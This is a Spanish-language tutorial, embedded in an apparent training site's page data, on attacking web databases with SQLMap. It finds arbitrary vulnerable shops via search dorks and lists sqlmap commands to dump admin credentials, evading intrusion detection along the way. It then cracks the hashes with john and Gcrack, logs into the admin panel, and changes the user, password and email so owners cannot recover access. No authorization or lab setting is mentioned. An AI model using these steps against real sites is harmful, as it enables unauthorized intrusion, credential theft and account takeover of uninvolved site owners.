[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fRp9fn3q64DQ1XNXOAvsfYv66QYhfVX-CfBLj0Zm2d-A":3},{"slug":4,"title":5,"summary":6,"category":7,"author":10,"image_url":16,"image_thumb_url":16,"published_at":17,"updated_at":18,"body_html":19,"keywords":20,"reading_time_minutes":21,"related_articles":22,"related_course":54,"related_specialty":75},"ataque-de-una-base-de-datos-con-sqlmap","Ataque de una Base de Datos con SQLMap","SQLMap es una herramienta para explotar la vulnerabilidad de SQL injection. Esta técnica se puede usar para realizar un ataque a una base de datos como la de una tienda virtual o incluso para paginas web que tengan esta vulnerabilidad.",{"slug":8,"name":9},"pentesting","Pentesting ",{"username":11,"name":12,"avatar_url":13,"headline":14,"aboutme":15},"JediCanosa","Alejandro Canosa Ferreiro","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBclVKIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--9b0815c79e7690293117c5cf747d0d9889fd678e\u002F252860.jpg",null,"amo la seguridad informática y el open source;estoy certificado en COMPTIA SECURITY+","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaG9PIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--ccd97ca9cf40d6caca3a85dbc45daf55e034ce81\u002Fshutterstock_648958390.jpg","2017-11-22T00:11:00-03:00","2026-10-26T15:39:43-03:00","\u003Ch3>Historia\u003C\u002Fh3>\r\n\u003Cp>SQLMap es una herramienta para explotar la vulnerabilidad de SQL injection. Esta técnica se puede usar para realizar un ataque a una base de datos como la de una tienda virtual o incluso para páginas web que tengan esta vulnerabilidad.\u003C\u002Fp>\r\n\u003Cp>Para realizar un ataque a la base de datos de una tienda virtual o página web se tienen que realizar los siguientes pasos:\u003C\u002Fp>\r\n\u003Ch3>Al ataque\u003C\u002Fh3>\r\n\u003Cp>1. Se recomienda usar el dork .php?id=101 o cualquier otro número en Bing antes que en Google (porque da mejores resultados y además no te pide un capcha cuando estás utilizando continuamente dorks) para encontrar páginas con posibles vulnerabilidades SQL Injection o utilizar una herramienta como \u003Ca href=\"..\u002F..\u002Fcurso\u002FAcunetix-vulnerability-scanner\">Acunetix\u003C\u002Fa> o Vega que es Open Source y trabaja en Linux(posteriormente creare otro artículo sobre esta magnífica y simple herramienta) para asegurarnos que esa página tiene esa vulnerabilidad ,una de las más importantes dentro de las vulnerabilidades de las aplicaciones web y páginas según OWASP.\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cspan>\u003C\u002Fspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FgvbMM5afeQ5Y1eMI_9hA4sYiR7AYqmFSBtEvLZL2YmeomZ8Jvv8q6Co1vFoZ_8cNKI54UQya3_7vkd72haVZSOoYoOa8D7X2AN8kJa_jt9rJUyNaFSfP7p1kww_XzXFwbp1cQ4InTJTNA9xoLQ\" width=\"643\" height=\"340\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cem>Búsqueda de dorks\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\">2. Una vez encontremos una página con esta vulnerabilidad podemos saber que DBMS es provocando un error añadiendo al final de la URL ´ y dependiendo de la librería es una DBMS u otra:\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">Si nos aparece la siguiente información es una BD SQL Server\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cpre>System.Data.SqlClient.SqlException\u003C\u002Fpre>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">Si aparece la siguiente información es una BD MYSQL \u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cpre>mysql_fetch_array\u003C\u002Fpre>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">Si aparece la siguiente información es una BD Oracle\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cpre>java.sql.sqlException\u003C\u002Fpre>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\">3. Arrancamos sqlmap y podemos ver sus opciones con \u003Cstrong>sqlmap -h\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh5.googleusercontent.com\u002FXQ4sVFRv22OpScH9kRr0zmuHBFPf41-0hV__z33jUap9AW_G0wFd1qT1tvkIw8_eLyBUkgQynCIchZ79gX9ELSBejkBC6A3zNFuD_rpYCPbwrJFJ0JcLJpFPtq0zFJkkB0FVdMKc0Jgb04XYig\" width=\"666\" height=\"450\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cem>Vista de sql map\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\">4. Para obtener las Base de datos del DBMS se usa el comando\u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\"> \u003C\u002Fp>\r\n\u003Cpre>sqlmap -u http:\u002F\u002Fpaginaweb.php?id=numero –dbs\u003C\u002Fpre>\r\n\u003Cp class=\"numbering-1-western\">Si buscamos aplicaciones escritas en php si no en .net seria .aspx?id=numero; te dirá la BD y te preguntara si quieres probar con más id vulnerables y si ralentizar el ataque para no ser detectado por un IDS le dices a todo que yes\u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002F9aDIUofcz_x1Yo_4biKVRF5sQ7W8JAxGD6bnrvKkmr72Y3zoxI2zeL7FkW__CNfCN3ZGHxtVrYxY3EfTamTNqqEZTgo01UAKpg2oLaCccdyO9YaPAZmoQkhZt6JUhpNgguVwrCp8kHnolVb0FA\" width=\"746\" height=\"366\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cem>Inyección a la base de datos\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\">5. Para ver las tablas de una BD seria:\u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\"> \u003C\u002Fp>\r\n\u003Cpre>\u003Cstrong>sqlmap -u paginaweb.php?id=numero –\u003C\u002Fstrong>\u003Cstrong>random-agent -level 5\u003C\u002Fstrong>\u003Cstrong> -D condadonew   --tables;\u003C\u002Fstrong>\u003C\u002Fpre>\r\n\u003Cp class=\"western\">\u003Cstrong>random-agent\u003C\u002Fstrong> es para que utilice distintos agentes y level 5 es el máximo nivel de consultas\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FXdXCKdVNZ2nTLT8N5S3V5Jyl-nZKI_oXL1bDk9T5cmbO2EQhxf8gogbGn0ue6-j2aQFh8CTiNhjEgmBSbsQhw7WX8wIwsSq2F6edVzUTTKoYPGpQm7T2HNEq2C5VUeDYi2PMrDe1i7VC5yH2wg\" width=\"753\" height=\"416\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cem>Base de datos\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\">6. Para ver las columnas de una tabla, por ejemplo, de la tabla usuario_admin:\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cpre>\u003Cstrong>sqlmap -u http:\u002F\u002Fpaginaweb.php?id=101 \u003C\u002Fstrong>\u003Cstrong>-\u003C\u002Fstrong>\u003Cstrong>–\u003C\u002Fstrong>\u003Cstrong>random-agent -level 5\u003C\u002Fstrong>\u003Cstrong> -D -D condadonew -D condadonew -T usuario_admin –columns\u003C\u002Fstrong>\u003C\u002Fpre>\r\n\u003Cp class=\"western\">\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002Fy06InsFt1KOEMhcR00-QqivN9qGmvvV2kfAH7KaCfghjoaUJ61FU81kTPUCBmjQmhtnjvag82w0KM0z5lsgcYnmgLNTDSAcD-iOSwMcg-fpIOvQ2QeF4L3w0H4lvcr84OnpxhhFdvUt0jZCBQw\" width=\"736\" height=\"438\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cem>Base de datos\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\">7. Para ver el valor de una columna, por ejemplo, la clave:\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cpre>\u003Cstrong>sqlmap -u http:\u002F\u002Fpaginaweb.php?id=101 -D condadonew -T usuario_admin -C clave –dump\u003C\u002Fstrong>\u003C\u002Fpre>\r\n\u003Cp class=\"western\">\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FZG3dpP0uEg-x9JAqMpCRR5xMO2q7Ks96FpimVM4I0ILk5pHMwirHOEKnAjj1GVggKFf-74MLci7Bia5i1L2509C7cwvpoIlIStLXxDyXGb755RiTO35P4hqVXAXyuYcZ36Fu_RF2yf5owOWXpQ\" width=\"754\" height=\"383\">\u003C\u002Fspan>\u003Cstrong>\u003Cbr>\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cem>Contenido de la base de datos\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\">8. Para ver el valor de la columna usuario:\u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\"> \u003C\u002Fp>\r\n\u003Cpre>\u003Cstrong>sqlmap -u http:\u002F\u002Fpaginaweb.php?id=101 -D condadonew -T usuario_admin -C usuario –dump\u003C\u002Fstrong>\u003C\u002Fpre>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh3.googleusercontent.com\u002FvToLkNLzmQzgDY-O9tEk-4O3WtAU3cT7TThFAUwfIX8GbTvQmwP4Zm5xzFwD-LqPDCqc2329pHkFllqj-n3B_m9xyYyApS97RurzR4cA9eApwe1uZ6jnTgqv2--ICeEtKDrd-m1b09LWotXkSw\" width=\"727\" height=\"297\">\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cem>Contenido de la base de datos\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\"> \u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\">9. En este caso la clave no tiene un hash, pero si lo tuviera tendríamos que ejecutar en otro Shell\u003Cstrong> hash-identifier \u003C\u002Fstrong>para saber el tipo de hash\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\">10. Ejecutando \u003Cstrong>john de ripper \u003C\u002Fstrong>suponiendo que es un hash md5:\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cpre>\u003Cstrong>john–format=raw_md5 archivoconhash\u003C\u002Fstrong>\u003C\u002Fpre>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">Obtendríamos el password\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\">10. Solo necesitaríamos encontrar el login del administrador con un \u003Cstrong>dork\u003C\u002Fstrong> como \u003Cstrong>inurl:admin inurl:login \u003C\u002Fstrong>en google\u003Cstrong> \u003C\u002Fstrong>para poder acceder a la zona de administrador\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"numbering-1-western\">11. Deberíamos cambiar el usuario, la contraseña y el email para que no puedan recuperar la contraseña\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Ch3 class=\"western\">\u003Cstrong>Notas\u003C\u002Fstrong>\u003C\u002Fh3>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cp class=\"western\">Si la DBMS tuviera más BD, para saber los usuarios de todas las bases de datos seria\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cpre>\u003Cstrong>sqlmap -u http:\u002F\u002Fpaginaweb.php?id=101 –\u003C\u002Fstrong>\u003Cstrong>-\u003C\u002Fstrong>\u003Cstrong>users\u003C\u002Fstrong>\u003C\u002Fpre>\r\n\u003Cp class=\"western\">Para saber los hash de esos usuarios de las BD seria\u003C\u002Fp>\r\n\u003Cp class=\"western\">\u003Cstrong> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cpre>\u003Cstrong>sqlmap -u http:\u002F\u002Fpaginaweb.php?id=101 –\u003C\u002Fstrong>\u003Cstrong>-passwords\u003C\u002Fstrong>\u003C\u002Fpre>\r\n\u003Cp class=\"western\">Esto automaticamente intenta \u003Cstrong>crackear\u003C\u002Fstrong> el hash con el diccionario de SQLMap, pero si no lo consigue podemos utilizar la aplicación \u003Ca href=\"https:\u002F\u002Fgithub.com\u002Ftkisason\u002Fgcrack\">Gcrack\u003C\u002Fa>\u003C\u002Fp>\r\n\u003Cp class=\"western\">si no conseguimos la contraseña del admin podemos ir a \u003Cstrong>phpmyadmin\u003C\u002Fstrong> si lo tiene y utilizar esa contraseña si la sacamos.\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Ch4>\u003Cspan>\u003Cstrong>Gcrack\u003C\u002Fstrong>\u003C\u002Fspan>\u003C\u002Fh4>\r\n\u003Cp class=\"western\">Esta aplicación permite romper los hashes \u003Cstrong>md5\u003C\u002Fstrong>, \u003Cstrong>sha1\u003C\u002Fstrong>, \u003Cstrong>sha224\u003C\u002Fstrong>, \u003Cstrong>sha256\u003C\u002Fstrong>, \u003Cstrong>sha384\u003C\u002Fstrong>, \u003Cstrong>sha512\u003C\u002Fstrong> y \u003Cstrong>ntlm\u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp class=\"western\">Para instalar este programa deberemos tener en nuestro sistema operativo Python, y también el paquete \u003Cstrong>python-lxml\u003C\u002Fstrong>. De manera opcional podemos instalar \u003Cstrong>python-nltk\u003C\u002Fstrong> para mejorar la velocidad del \u003Cstrong>crackeo\u003C\u002Fstrong> de las contraseñas\u003C\u002Fp>\r\n\u003Cp class=\"western\">Hay que ejecutar este comando para todas las posibles dependencias\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cpre>pip install nltk google requests BeautifulSoup\u003C\u002Fpre>\r\n\u003Cp class=\"western\">Este programa se puede instalar y ejecutar en cualquier sistema operativo gracias a que está escrito en Python, mientras que tengamos el intérprete instalado podremos utilizarlo sin ningún problema.\u003C\u002Fp>\r\n\u003Cp class=\"western\">Para descargarlo podemos utilizar\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cpre>git clone \u003Ca href=\"https:\u002F\u002Fgithub.com\u002Ftkisason\u002Fgcrack.git\">https:\u002F\u002Fgithub.com\u002Ftkisason\u002Fgcrack.git\u003C\u002Fa>\u003C\u002Fpre>\r\n\u003Cp class=\"western\">Ahora ingresamos al directorio\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cpre>cd gcrack\u003C\u002Fpre>\r\n\u003Cp class=\"western\">Lo ejecutamos \u003Cstrong> .\u002Fgcrack.py archivo.txt \u003C\u002Fstrong>y le pasamos los hashes en un archivo, utiliza Google para encontrar la contraseña\u003C\u002Fp>\r\n\u003Cp class=\"western\">esta también permite crear un archivo con hashes a partir de un diccionario\u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>\r\n\u003Cpre>.\u002Fgwordlist.py rockyou.txt roockyouhashes.txt\u003C\u002Fpre>\r\n\u003Cp class=\"western\">\u003Cstrong>\u003Ca href=\"http:\u002F\u002Fwww.kalitut.com\u002F2015\u002F12\u002Fbest-password-dictionary.html\">rockyou\u003C\u002Fa>\u003C\u002Fstrong> es un diccionario bastante famoso en internet para realizar un ataque de fuerza bruta por lo que combinado con generación de hashes pueden servir para realizar ataques de \u003Cstrong>\u003Ca href=\"https:\u002F\u002Fes.wikipedia.org\u002Fwiki\u002FTabla_arco%C3%ADris\">rainbow table\u003C\u002Fa> \u003C\u002Fstrong>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp class=\"western\"> \u003C\u002Fp>","SqlMap, base de datos",5,[23,34,43],{"slug":24,"title":25,"summary":26,"category":27,"author":28,"image_url":31,"image_thumb_url":31,"published_at":32,"updated_at":33},"write-up-maquina-webdeveloper1-de-vulnhub","Write-up máquina WebDeveloper1 de VulnHub","Buenas, soy Martin Frias (otra vez), en unos días se hará público mi primer curso en esta plataforma llamado “Hacking Ético boot2root”, en este curso abordaremos cómo es la resolución de una máquina tipo boot2root que yo elabore, ColddBox: Easy, disponible tanto en VulnHub como en TryHackMe.",{"slug":8,"name":9},{"username":29,"name":30,"avatar_url":14},"coldd","Martin Frias","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZzBQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--9088ff4d9195016e15c3d716536a9879894e0d65\u002Fshutterstock_1269857698.jpg","2021-04-15T16:16:19-04:00","2026-10-26T11:48:31-03:00",{"slug":35,"title":36,"summary":37,"category":38,"author":39,"image_url":40,"image_thumb_url":40,"published_at":41,"updated_at":42},"uso-de-foca-para-extraer-metadatos","Uso de FOCA para extraer metadatos.","FOCA es una herramienta que permite extraer los metadatos de un fichero y\u002Fo buscar ficheros en una determinada web para posteriormente extraer sus metadatos, bien los metadatos básicamente son un grupo de datos que describen otros datos, es información “oculta” que puede existir dentro de algún fichero o incluso en las llamadas telefónicas y que nos proporciona más información sobre este.",{"slug":8,"name":9},{"username":29,"name":30,"avatar_url":14},"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ3dQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--c5a64e37a690cceb850d405b7fbe7fbc6adbc2ec\u002Fshutterstock_1184620222.jpg","2021-04-13T15:31:27-04:00","2026-10-26T11:55:40-03:00",{"slug":44,"title":45,"summary":46,"category":47,"author":48,"image_url":51,"image_thumb_url":51,"published_at":52,"updated_at":53},"la-importancia-de-un-soar-en-terminos-de-seguridad","La importancia de un SOAR en términos de seguridad","Es conocido que el avance tecnológico es cosa del día a día y así los peligros que este puede materializar en el Ciberespacio, es por esto que son muchas las herramientas necesarias a las cuales optan las empresas para proteger sus datos y activos. Pero esto tiene una curva cada vez más amplia, donde lo que se tiene integrado es un mero sinónimo de lo mucho que hace falta.",{"slug":8,"name":9},{"username":49,"name":50,"avatar_url":14},"user-1570553853","Flavio Esteban Canales Salvo","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ2tQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--9a8439d5a0017e9aef4bb6e77a0f6ebaee6f3e68\u002Fshutterstock_1147173719.jpg","2021-01-14T14:26:15-03:00","2026-10-26T16:30:30-03:00",{"slug":55,"title":56,"summary":57,"level":58,"specialty":59,"category":62,"instructor":63,"image_url":67,"image_thumb_url":67,"duration_seconds":68,"lessons_count":69,"students_count":70,"is_free":71,"coming_soon":72,"timer":73,"updated_at":74},"introduccion-a-la-seguridad","Introducción a la Seguridad","Este curso tiene como objetivo comenzar en el mundo de la seguridad informática.","Basicos",{"slug":60,"name":61},"enterprise-pentesting-training-ept","Penetration Testing Student",{"slug":8,"name":9},{"username":64,"name":65,"avatar_url":66},"misaelban","Misael Banales","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBam9HIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--fcb46747ff2b0df3099425d0012f4da090b1db67\u002FIMG_2344.PNG","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaThOIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--ecc54bfb8fc4ff08be1e0805467c791c93fa803d\u002F2_-Introducci%C3%B3n-a-la-seguridad-inform%C3%A1tica-2.png",5085,10,39044,true,false,"2018-05-23T21:25:00-04:00","2025-02-15T00:32:03-03:00",{"slug":60,"name":61,"summary":76,"level":77,"courses_count":21,"total_duration_seconds":78,"is_free":71,"image_url":79,"icon_url":80,"wallpaper_url":81,"updated_at":82},"Usted al finalizar la certificación Penetration Testing habrá obtenido el conocimiento para poder reconocer y analizar vulnerabilidades, explotar las debilidades en los sistemas y ayudar a protegerse de las amenazas,…","Básico",77388,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaUlQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2514d038e8d6aff5caf896423c25af3de56fcd09\u002FStudent-Penetration-Testing-02.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaWdQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--a04208079ecbb8df87bdb8e7d6f8f822702d1d03\u002FPenetration-Testing-Student.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaTRQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--5e4754f3e0213a49757fe74e0c16177f96cb2692\u002FStudent-Penetration-Testing-02.jpg","2021-05-17T15:38:02-04:00"]